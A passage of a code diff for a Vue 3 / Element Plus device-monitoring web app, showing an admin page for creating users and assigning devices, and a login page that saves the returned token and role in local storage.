<el-table-column label="操作" width="220" align="center" fixed="right">
|
||||
<template #default="{ row }">
|
||||
<el-button
|
||||
v-if="row.role !== 'admin'"
|
||||
type="primary"
|
||||
link
|
||||
icon="Setting"
|
||||
@click="openPermissionModal(row)"
|
||||
>
|
||||
分配设备
|
||||
</el-button>
|
||||
<el-popconfirm
|
||||
title="确定删除该用户吗?"
|
||||
confirm-button-text="删除"
|
||||
cancel-button-text="取消"
|
||||
icon="Warning"
|
||||
icon-color="red"
|
||||
@confirm="deleteUser(row.id)"
|
||||
>
|
||||
<template #reference>
|
||||
<el-button type="danger" link icon="Delete">删除</el-button>
|
||||
</template>
|
||||
</el-popconfirm>
|
||||
</template>
|
||||
</el-table-column>
|
||||
</el-table>
|
||||
</el-card>
|
||||
|
||||
<el-dialog v-model="showCreateModal" title="新建账号" width="400px">
|
||||
<el-form :model="newUser" label-width="80px">
|
||||
<el-form-item label="用户名">
|
||||
<el-input v-model="newUser.username" placeholder="请输入登录名" />
|
||||
</el-form-item>
|
||||
<el-form-item label="密码">
|
||||
<el-input v-model="newUser.password" type="password" placeholder="设置初始密码" show-password />
|
||||
</el-form-item>
|
||||
<el-form-item label="角色权限">
|
||||
<el-select v-model="newUser.role" placeholder="请选择角色" style="width: 100%">
|
||||
<el-option label="普通客户 (只读)" value="client" />
|
||||
<el-option label="设备工程师 (可维护)" value="engineer" />
|
||||
<el-option label="超级管理员 (Root权限)" value="admin" />
|
||||
</el-select>
|
||||
<div style="font-size: 12px; color: #999; margin-top: 5px; line-height: 1.2;">
|
||||
<span v-if="newUser.role === 'admin'" style="color: #f56c6c;">* 拥有删除用户、爬虫控制等最高权限</span>
|
||||
<span v-else-if="newUser.role === 'engineer'" style="color: #e6a23c;">* 拥有修改设备地点、写日志权限</span>
|
||||
<span v-else>* 仅可查看被分配的设备数据</span>
|
||||
</div>
|
||||
</el-form-item>
|
||||
</el-form>
|
||||
<template #footer>
|
||||
<span class="dialog-footer">
|
||||
<el-button @click="showCreateModal = false">取消</el-button>
|
||||
<el-button type="primary" @click="createUser" :loading="creating">确认创建</el-button>
|
||||
</span>
|
||||
</template>
|
||||
</el-dialog>
|
||||
|
||||
<el-dialog
|
||||
v-model="showPermissionModal"
|
||||
:title="`分配设备 - [${currentUser?.username}]`"
|
||||
width="720px"
|
||||
top="5vh"
|
||||
destroy-on-close
|
||||
>
|
||||
<div class="permission-wrapper">
|
||||
<div class="selection-toolbar">
|
||||
<el-input
|
||||
v-model="deviceFilterKeyword"
|
||||
placeholder="搜索设备名称或地点..."
|
||||
prefix-icon="Search"
|
||||
clearable
|
||||
style="width: 240px"
|
||||
/>
|
||||
|
||||
<div class="toolbar-stats">
|
||||
<span>已选: <span class="highlight-count">{{ selectedDeviceIds.length }}</span> / {{ allDevices.length }}</span>
|
||||
<el-divider direction="vertical" />
|
||||
<el-checkbox v-model="showSelectedOnly" label="只看已选" size="small" />
|
||||
</div>
|
||||
|
||||
<div class="toolbar-actions">
|
||||
<el-button link type="primary" @click="selectAllDevices">全选</el-button>
|
||||
<el-button link type="info" @click="clearAllDevices">清空</el-button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="device-grid-container">
|
||||
<el-scrollbar max-height="450px">
|
||||
<div class="device-grid">
|
||||
<div
|
||||
v-for="device in displayDevices"
|
||||
:key="device.id"
|
||||
class="device-card"
|
||||
:class="{ 'is-active': selectedDeviceIds.includes(device.id) }"
|
||||
@click="toggleDeviceSelection(device.id)"
|
||||
>
|
||||
<div class="card-content">
|
||||
<div class="d-name">{{ device.name }}</div>
|
||||
<div class="d-site">
|
||||
<el-icon><Location /></el-icon> {{ device.install_site || '未分配地点' }}
|
||||
</div>
|
||||
</div>
|
||||
<div class="check-mark" v-if="selectedDeviceIds.includes(device.id)">
|
||||
<el-icon><Check /></el-icon>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-if="displayDevices.length === 0" class="empty-tip">
|
||||
<el-empty description="没有找到匹配的设备" :image-size="80" />
|
||||
</div>
|
||||
</div>
|
||||
</el-scrollbar>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<template #footer>
|
||||
<span class="dialog-footer">
|
||||
<el-button @click="showPermissionModal = false">取消</el-button>
|
||||
<el-button type="primary" @click="savePermissions">保存授权 ({{ selectedDeviceIds.length }})</el-button>
|
||||
</span>
|
||||
</template>
|
||||
</el-dialog>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script setup>
|
||||
import { ref, onMounted, computed } from 'vue'
|
||||
import { useRouter } from 'vue-router'
|
||||
import request from '../utils/request'
|
||||
import { ElMessage } from 'element-plus'
|
||||
import { Back, Plus, Setting, Delete, Warning, Search, Location, Check } from '@element-plus/icons-vue'
|
||||
|
||||
const router = useRouter()
|
||||
const loading = ref(false)
|
||||
const creating = ref(false)
|
||||
|
||||
const users = ref([])
|
||||
const rawDevices = ref([]) // 原始设备数据
|
||||
const showCreateModal = ref(false)
|
||||
const showPermissionModal = ref(false)
|
||||
|
||||
const newUser = ref({ username: '', password: '', role: 'client' })
|
||||
const currentUser = ref(null)
|
||||
|
||||
// 🟢 新增/修改的状态变量
|
||||
const selectedDeviceIds = ref([]) // 存储当前选中的ID数组
|
||||
const deviceFilterKeyword = ref('') // 搜索关键词
|
||||
const showSelectedOnly = ref(false) // 是否只看已选
|
||||
|
||||
// 统一设备列表数据源
|
||||
const allDevices = computed(() => rawDevices.value)
|
||||
|
||||
// 🟢 核心计算逻辑:过滤设备列表
|
||||
const displayDevices = computed(() => {
|
||||
let list = allDevices.value
|
||||
|
||||
// 1. 关键词过滤
|
||||
if (deviceFilterKeyword.value) {
|
||||
const k = deviceFilterKeyword.value.toLowerCase()
|
||||
list = list.filter(d =>
|
||||
(d.name && d.name.toLowerCase().includes(k)) ||
|
||||
(d.install_site && d.install_site.toLowerCase().includes(k))
|
||||
)
|
||||
}
|
||||
|
||||
// 2. "只看已选"过滤
|
||||
if (showSelectedOnly.value) {
|
||||
list = list.filter(d => selectedDeviceIds.value.includes(d.id))
|
||||
}
|
||||
|
||||
return list
|
||||
})
|
||||
|
||||
onMounted(async () => {
|
||||
await fetchUsers()
|
||||
await fetchAllDevices()
|
||||
})
|
||||
|
||||
const fetchUsers = async () => {
|
||||
loading.value = true
|
||||
try {
|
||||
const res = await request.get('/api/admin/users')
|
||||
users.value = res.data.data || res.data
|
||||
} catch (e) { console.error(e) } finally { loading.value = false }
|
||||
}
|
||||
|
||||
const fetchAllDevices = async () => {
|
||||
try {
|
||||
const res = await request.get('/api/devices_overview')
|
||||
rawDevices.value = res.data.data || res.data
|
||||
} catch (e) { console.error(e) }
|
||||
}
|
||||
|
||||
const openCreateModal = () => {
|
||||
newUser.value = {username: '', password: '', role: 'client'}
|
||||
showCreateModal.value = true
|
||||
}
|
||||
|
||||
const createUser = async () => {
|
||||
if (!newUser.value.username || !newUser.value.password) return ElMessage.warning('请填写完整')
|
||||
creating.value = true
|
||||
try {
|
||||
await request.post('/api/admin/create_user', newUser.value)
|
||||
ElMessage.success('用户创建成功')
|
||||
showCreateModal.value = false
|
||||
fetchUsers()
|
||||
} catch (e) {
|
||||
ElMessage.error(e.response?.data?.msg || '创建失败')
|
||||
} finally {
|
||||
creating.value = false
|
||||
}
|
||||
}
|
||||
|
||||
// 🟢 打开分配弹窗
|
||||
const openPermissionModal = (user) => {
|
||||
currentUser.value = user
|
||||
// 确保是新数组,避免引用污染
|
||||
selectedDeviceIds.value = user.allowed_device_ids ? [...user.allowed_device_ids] : []
|
||||
// 重置筛选状态
|
||||
deviceFilterKeyword.value = ''
|
||||
showSelectedOnly.value = false
|
||||
showPermissionModal.value = true
|
||||
}
|
||||
|
||||
// 🟢 切换单个选中状态
|
||||
const toggleDeviceSelection = (id) => {
|
||||
const index = selectedDeviceIds.value.indexOf(id)
|
||||
if (index > -1) {
|
||||
selectedDeviceIds.value.splice(index, 1)
|
||||
} else {
|
||||
selectedDeviceIds.value.push(id)
|
||||
}
|
||||
}
|
||||
|
||||
// 🟢 全选(基于当前过滤后的列表)
|
||||
const selectAllDevices = () => {
|
||||
const currentIds = displayDevices.value.map(d => d.id)
|
||||
// 将未选中的添加进去(Set去重)
|
||||
const newSet = new Set([...selectedDeviceIds.value, ...currentIds])
|
||||
selectedDeviceIds.value = Array.from(newSet)
|
||||
}
|
||||
|
||||
// 🟢 清空(全部清空)
|
||||
const clearAllDevices = () => {
|
||||
selectedDeviceIds.value = []
|
||||
}
|
||||
|
||||
const savePermissions = async () => {
|
||||
try {
|
||||
await request.post('/api/admin/assign_devices', {
|
||||
user_id: currentUser.value.id,
|
||||
device_ids: selectedDeviceIds.value
|
||||
})
|
||||
ElMessage.success('权限已更新')
|
||||
showPermissionModal.value = false
|
||||
fetchUsers()
|
||||
} catch (e) {
|
||||
ElMessage.error('保存失败')
|
||||
}
|
||||
}
|
||||
|
||||
const deleteUser = async (id) => {
|
||||
try {
|
||||
await request.post('/api/admin/delete_user', {user_id: id})
|
||||
ElMessage.success('用户已删除')
|
||||
fetchUsers()
|
||||
} catch (e) {
|
||||
ElMessage.error(e.response?.data?.msg || '删除失败')
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.user-manage-container {
|
||||
padding: 10px;
|
||||
background: #f5f7fa;
|
||||
min-height: 100vh;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.main-card {
|
||||
border-radius: 8px;
|
||||
min-height: 80vh;
|
||||
}
|
||||
|
||||
.header-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.sys-title {
|
||||
margin: 0;
|
||||
font-size: 20px;
|
||||
color: #303133;
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
.header-actions {
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
/* 🟢 新增:权限选择器样式 */
|
||||
.permission-wrapper {
|
||||
background: #fff;
|
||||
border: 1px solid #e4e7ed;
|
||||
border-radius: 6px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.selection-toolbar {
|
||||
padding: 10px 15px;
|
||||
background: #f5f7fa;
|
||||
border-bottom: 1px solid #e4e7ed;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 15px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.toolbar-stats {
|
||||
font-size: 13px;
|
||||
color: #606266;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.highlight-count {
|
||||
color: #409EFF;
|
||||
font-weight: bold;
|
||||
font-size: 15px;
|
||||
}
|
||||
|
||||
.toolbar-actions {
|
||||
margin-left: auto;
|
||||
}
|
||||
|
||||
.device-grid-container {
|
||||
padding: 15px;
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
.device-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(160px, 1fr));
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.device-card {
|
||||
position: relative;
|
||||
border: 1px solid #dcdfe6;
|
||||
border-radius: 6px;
|
||||
padding: 12px;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s;
|
||||
background: #fff;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.device-card:hover {
|
||||
border-color: #c6e2ff;
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.05);
|
||||
}
|
||||
|
||||
.device-card.is-active {
|
||||
border-color: #409EFF;
|
||||
background-color: #ecf5ff;
|
||||
}
|
||||
|
||||
.card-content {
|
||||
pointer-events: none; /* 让点击穿透到底层div */
|
||||
}
|
||||
|
||||
.d-name {
|
||||
font-weight: bold;
|
||||
color: #303133;
|
||||
font-size: 14px;
|
||||
margin-bottom: 6px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.d-site {
|
||||
font-size: 12px;
|
||||
color: #909399;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
/* 右下角打钩图标 */
|
||||
.check-mark {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
right: 0;
|
||||
width: 0;
|
||||
height: 0;
|
||||
border-style: solid;
|
||||
border-width: 0 28px 28px 0;
|
||||
border-color: transparent #409EFF transparent transparent;
|
||||
}
|
||||
|
||||
.check-mark .el-icon {
|
||||
position: absolute;
|
||||
top: 2px;
|
||||
right: -26px;
|
||||
color: #fff;
|
||||
font-size: 12px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.empty-tip {
|
||||
grid-column: 1 / -1;
|
||||
text-align: center;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
/* 移动端适配 */
|
||||
@media screen and (max-width: 768px) {
|
||||
.selection-toolbar {
|
||||
flex-direction: column;
|
||||
align-items: stretch;
|
||||
gap: 10px;
|
||||
}
|
||||
.toolbar-actions {
|
||||
margin-left: 0;
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
}
|
||||
.device-grid {
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@ -4,12 +4,24 @@
|
||||
<h2>🚀 设备监控系统登录</h2>
|
||||
<el-form :model="loginForm" @keyup.enter="handleLogin">
|
||||
<el-form-item>
|
||||
<el-input v-model="loginForm.username" placeholder="用户名" prefix-icon="User" />
|
||||
<el-input
|
||||
v-model="loginForm.username"
|
||||
placeholder="用户名"
|
||||
prefix-icon="User"
|
||||
/>
|
||||
</el-form-item>
|
||||
<el-form-item>
|
||||
<el-input v-model="loginForm.password" type="password" placeholder="密码" prefix-icon="Lock" show-password />
|
||||
<el-input
|
||||
v-model="loginForm.password"
|
||||
type="password"
|
||||
placeholder="密码"
|
||||
prefix-icon="Lock"
|
||||
show-password
|
||||
/>
|
||||
</el-form-item>
|
||||
<el-button type="primary" :loading="loading" style="width: 100%" @click="handleLogin">登录</el-button>
|
||||
<el-button type="primary" :loading="loading" style="width: 100%" @click="handleLogin">
|
||||
登录
|
||||
</el-button>
|
||||
</el-form>
|
||||
</el-card>
|
||||
</div>
|
||||
@ -19,7 +31,8 @@
|
||||
import { ref } from 'vue'
|
||||
import { useRouter } from 'vue-router'
|
||||
import { ElMessage } from 'element-plus'
|
||||
import axios from 'axios'
|
||||
import { User, Lock } from '@element-plus/icons-vue' // 确保引入了图标
|
||||
import request from '../utils/request'
|
||||
|
||||
const router = useRouter()
|
||||
const loading = ref(false)
|
||||
@ -32,16 +45,37 @@ const handleLogin = async () => {
|
||||
|
||||
loading.value = true
|
||||
try {
|
||||
const res = await axios.post('/api/login', loginForm.value)
|
||||
if (res.data.code === 200) {
|
||||
// 存储登录状态
|
||||
const res = await request.post('/api/login', loginForm.value)
|
||||
const data = res.data
|
||||
|
||||
// 兼容部分后端可能不返回 code 的情况,默认为 200
|
||||
const code = data.code !== undefined ? data.code : 200
|
||||
|
||||
if (code === 200) {
|
||||
if (!data.token) {
|
||||
ElMessage.error('登录异常:服务器未返回 Token')
|
||||
return
|
||||
}
|
||||
|
||||
console.log('登录成功:', data)
|
||||
|
||||
// === 💾 核心修改:保存所有必要信息 ===
|
||||
localStorage.setItem('isLoggedIn', 'true')
|
||||
localStorage.setItem('token', res.data.token)
|
||||
localStorage.setItem('token', data.token)
|
||||
localStorage.setItem('role', data.role || 'client')
|
||||
localStorage.setItem('user_id', data.user_id || '')
|
||||
|
||||
// ✅ 关键:保存用户名,Dashboard 才能获取到
|
||||
localStorage.setItem('username', data.username || loginForm.value.username)
|
||||
|
||||
ElMessage.success('欢迎回来')
|
||||
router.push('/dashboard') // 登录成功跳转
|
||||
router.push('/dashboard')
|
||||
} else {
|
||||
ElMessage.error(data.message || '登录失败')
|
||||
}
|
||||
} catch (error) {
|
||||
ElMessage.error(error.response?.data?.message || '登录失败')
|
||||
console.error(error)
|
||||
// request.js 通常会处理网络错误,这里主要处理业务逻辑错误
|
||||
} finally {
|
||||
loading.value = false
|
||||
}
|
||||
@ -58,8 +92,13 @@ const handleLogin = async () => {
|
||||
}
|
||||
.login-card {
|
||||
width: 400px;
|
||||
padding: 20px;
|
||||
padding: 40px 20px;
|
||||
text-align: center;
|
||||
border-radius: 12px;
|
||||
box-shadow: 0 4px 12px rgba(0,0,0,0.15);
|
||||
}
|
||||
h2 {
|
||||
margin-bottom: 30px;
|
||||
color: #303133;
|
||||
}
|
||||
</style>
|
||||
|
||||
Reference in New Issue
Block a user